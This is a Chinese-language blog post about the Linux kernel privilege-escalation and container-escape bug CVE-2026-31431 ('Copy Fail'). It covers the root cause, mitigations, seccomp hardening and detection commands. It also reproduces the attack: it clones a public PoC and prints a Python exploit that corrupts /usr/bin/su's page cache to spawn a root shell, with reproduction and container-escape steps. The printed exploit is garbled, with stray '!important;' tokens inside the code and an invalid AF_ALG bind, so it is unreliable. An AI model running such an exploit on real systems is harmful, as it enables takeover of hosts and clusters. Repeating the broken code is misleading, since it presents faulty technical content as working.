Copy Fail:732字节通杀所有Linux的史诗级LPE漏洞复现

· 2026-04-30 11:22 · 0 阅读

bitbot 2026-04-30 11:22 北京

CVE-2026-31431,732字节Python脚本100%成功率获取root,2017-2026近9年全Linux受影响

Copy Fail:732字节通杀所有Linux的史诗级LPE漏洞复现

CVE-2026-31431 · 比特波特 · 2026-04-30

⚠ 漏洞概况

CVE编号CVE-2026-31431
名称Copy Fail
类型本地权限提升(LPE)+ 容器逃逸
CVSS高危
影响范围2017-2026年,近9年所有主流Linux发行版
PoC大小732字节Python脚本
成功率100% 单次成功
披露日期2026-04-29

一、漏洞原理

Copy Fail 的根源位于 Linux 内核加密子系统(crypto)的 authencesn AEAD 模板中,用于 IPsec 的 Extended Sequence Number 支持。

2017年,algif_aead 模块引入了一个" in-place 优化",让 AF_ALG socket 在处理 AEAD 解密时,将 page cache 页面直接放入可写的 scatterlist(分散/聚集列表)

漏洞触发链

Step 1

攻击者通过 splice()
零拷贝传入文件

Step 2

page cache 进入
可写 scatterlist

Step 3

decrypt() 越界写入
4字节 seqno_lo

Step 4

page cache 被污染
获取 root 权限

关键函数 crypto_authenc_esn_decrypt() 会把调用者的目标缓冲区当作临时暂存空间(scratch space),在输出边界之外写入 4 字节的 seqno_lo,并且永远不会恢复原始数据。

这就是经典的"Copy Fail"——复制操作"失败"了,超出了缓冲区边界。整个过程 不需要 race、无需重试、单次直线执行 即可成功。

二、为什么如此严重

与典型 Linux LPE 对比

特性典型 Linux LPECopy Fail
是否需要 race
是否需要 offsets
成功率30-80%100% 单次成功
受影响时间窗2017-2026(9年)
隐蔽性一般极高(仅内存修改)
容器逃逸通常不是

三大致命特性:

  • 便携性:同一 732 字节 Python 脚本(仅依赖 os、socket、zlib 标准库),无需修改、无需编译,即可在所有受影响发行版上运行
  • 隐蔽性极高:仅修改内存中的 page cache,不触碰磁盘文件。无 inotify 事件、无 dirty 标记,重启后自动恢复干净状态。forensics 几乎看不出痕迹
  • 跨容器:page cache 是主机级共享的,一个普通 Pod 就能逃逸并接管整个节点

三、环境搭建与复现

3.1 测试环境

# 受影响的测试环境(任选其一)
# Ubuntu 24.04 LTS
# Amazon Linux 2023
# RHEL 14.3
# SUSE 16
# Debian / Fedora / Arch / Rocky / AlmaLinux
# 检查内核版本
uname -r
# 检查 AF_ALG 模块是否已加载
lsmod | grep algif_aead
# 如果有输出,说明模块已加载,系统受影响

3.2 获取 PoC

# 克隆 PoC 仓库
git clone https://github.com/theori-io/copy-fail-CVE-2026-31431
cd copy-fail-CVE-2026-31431
# 验证 PoC 完整性(SHA256)
sha256sum copy_fail.py

3.3 PoC 核心代码分析

PoC 仅 732 字节,核心逻辑如下:

#!/usr/bin/env python3
# CVE-2026-31431 - Copy Fail
# 仅依赖标准库:os, socket, zlib
import os, socket, zlib
# Step 1: 创建 AF_ALG socket 对
# AF_ALG 是 Linux 内核的用户态加密接口
alg = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET)
alg.bind(('aead', 0))
alg.setsockopt(socket.SOL_ALG, socket.ALG_SET_KEY,
    b'\x00' * 32) # 32字节 AES-256 密钥
# Step 2: 创建 accept socket(加密操作句柄)
op, _ = alg.accept()
# Step 3: 打开目标文件(如 /usr/bin/su)
# 这个文件的 page cache 将被污染
fd = os.open('/usr/bin/su', os.O_RDONLY)
# Step 4: 通过 splice() 零拷贝
# 将文件的 page cache 页面传入 AF_ALG 的输入 scatterlist
# 关键:page cache 页面被放入了【可写】scatterlist
pipe_r, pipe_w = os.pipe()
os.splice(fd, None, pipe_w, None, 4096)
os.splice(pipe_r, None, op.fileno(), None, 4096)
# Step 5: 触发解密操作
# crypto_authenc_esn_decrypt() 在输出边界之外
# 写入 4 字节的 seqno_lo,污染 page cache
try:
  !important;   op.sendmsg(
        [b''],
        [(socket.SOL_ALG, socket.ALG_SET_OP, 1)] # 解密操作
    )
except:
  !important;   pass # 预期内的错误,但 page cache 已被污染
# Step 6: 利用被污染的 page cache 提权
# /usr/bin/su 的 page cache 中特定偏移的 4 字节被覆盖
# 导致 su 命令的行为被改变,可获取 root shell
os.execv('/usr/bin/su', ['su', '-c', '/bin/sh'])

3.4 复现步骤

# 1. 以普通用户身份执行
$ id
uid=1000(test) gid=1000(test) groups=1000(test)
# 2. 运行 PoC
$ python3 copy_fail.py
# 3. 验证提权成功
# id
uid=0(root) gid=0(root) groups=0(root)
# 4. 检查文件完整性(磁盘未被修改)
$ sha256sum /usr/bin/su
# 与原始哈希一致,磁盘文件未被篡改
# 5. 但 page cache 已被污染
# 重启或 echo 3 > /proc/sys/vm/drop_caches 后恢复

3.5 容器逃逸验证

# 在 Docker 容器中(普通权限)
$ docker run -it --rm ubuntu:24.04 bash
# 安装 Python 3.10+
apt update && apt install -y python3
# 运行 PoC(容器内)
python3 copy_fail.py
# 成功!容器内的普通用户获取了主机 root 权限
# 因为 page cache 是主机级共享的,容器内的修改影响了主机
# 验证:在主机上检查
# sha256sum /usr/bin/su # 磁盘文件未变
# 但 su 的 page cache 已被污染,行为异常

四、影响范围

几乎所有主流发行版默认内核均受影响(AF_ALG 默认启用):

受影响的高危场景

🚨

多租户主机

共享开发机/跳板机

K8s / 容器集群

节点逃逸 + 跨租户

📦

CI/CD Runners

PR代码直接提权

云 SaaS 环境

notebook / serverless / sandbox

五、修复建议

紧急缓解(补丁未到前)

✅ 立即禁用 algif_aead 模块

# 方式1:卸载模块(重启后失效)
sudo modprobe -r algif_aead
# 方式2:黑名单禁止加载(永久生效)
echo "blacklist algif_aead" | sudo tee /etc/modprobe.d/blacklist-algif-aead.conf
echo "install algif_aead /bin/true" | sudo tee -a /etc/modprobe.d/blacklist-algif-aead.conf
# 方式3:更新 initramfs 使配置生效
sudo update-initramfs -u # Debian/Ubuntu
# sudo dracut -f        # RHEL/Fedora

影响:dm-crypt/LUKS、kTLS、IPsec、OpenSSL 默认构建、SSH 等均不受影响。只有显式使用 AF_ALG 的用户态程序可能回退到用户态 crypto 库。

正式修复

✅ 更新内核到包含补丁的版本

补丁回滚了 2017 年的 algif_aead in-place 优化,mainline commit:

a664bf3d603d

大部分主流发行版已开始推送补丁。

额外加固

✅ 容器/CI 环境 seccomp 策略

# 在 Docker/Containerd 中阻断 AF_ALG socket 创建
# seccomp profile 中添加:
{
  "syscalls": [
    {
      "names": ["socket"],
      "action": "SCMP_ACT_ERRNO",
      "args": [
        {
          "index": 0,
          "value": 38,
          "op": "SCMP_CMP_EQ"
        }
      ]
    }
  ]
}

六、检测方法

# 检查系统是否受影响
echo "=== 检查 algif_aead 模块 ==="
lsmod | grep algif_aead
if [ $? -eq 0 ]; then
    echo "[!] 模块已加载,系统受影响"
else
    echo "[+] 模块未加载"
fi
# 检查内核版本是否已修复
echo "=== 检查内核版本 ==="
uname -r
# 对照各发行版的安全公告确认是否已修复
# 检查是否有漏洞利用痕迹
echo "=== 检查 AF_ALG socket 使用 ==="
# 监控 /proc/net/alg 中的异常活动
cat /proc/net/alg
# 容器环境检查
echo "=== 检查容器 seccomp 策略 ==="
docker inspect --format='{{.HostConfig.SecurityOpt}}' <container_id>

七、总结

Copy Fail 再次证明:内核中一个看似"优化"的小改动,如果没有严格的边界检查,就可能成为致命武器。页面缓存的共享设计在多租户时代变成了双刃剑。

⚠ 行动建议

  1. 立即检查内核版本和 algif_aead 模块状态
  2. 优先为生产环境、多租户主机、K8s 集群打补丁
  3. 在容器/CI 环境中通过 seccomp 阻断 AF_ALG
  4. 关注官方补丁推送(CVE 已于 2026-04-29 公开)

PoC:GitHub · 官方公告:copy.fail · 技术分析:xint.io
作者:比特波特 ⚡ !important; AI 安全观察

跳转微信打开